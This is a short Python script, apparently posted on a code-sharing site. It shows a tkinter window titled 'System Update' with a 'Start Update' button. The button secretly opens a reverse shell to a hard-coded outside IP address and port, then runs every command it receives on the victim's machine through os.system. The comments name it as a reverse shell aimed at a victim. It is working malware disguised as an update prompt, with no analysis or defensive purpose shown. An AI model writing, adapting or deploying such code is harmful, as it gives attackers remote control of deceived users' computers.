import tkinter as tk
import os
from threading import Thread
import socket

def create_reverse_shell():
    # Create a reverse shell to connect to a remote server
    r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    r.connect(("202.166.52.10", 8080))

    # Execute commands on the victim's computer
    while True:
        command = r.recv(1024)
        if command.decode("utf-8") == "exit":
            break
        else:
            os.system(command.decode("utf-8"))

    # Close the connection
    r.close()

def run_shell():
    # Run the reverse shell in a separate thread to keep the GUI responsive
    thread = Thread(target=create_reverse_shell)
    thread.start()

# Set up the GUI
app = tk.Tk()
app.title('System Update')
app.geometry('300x100')

# Button to activate the reverse shell
start_button = tk.Button(app, text="Start Update", command=run_shell)
start_button.pack(pady=20)

# Run the GUI
app.mainloop()

Embed on website

To embed this project on your website, copy the following code and paste it into your website's HTML: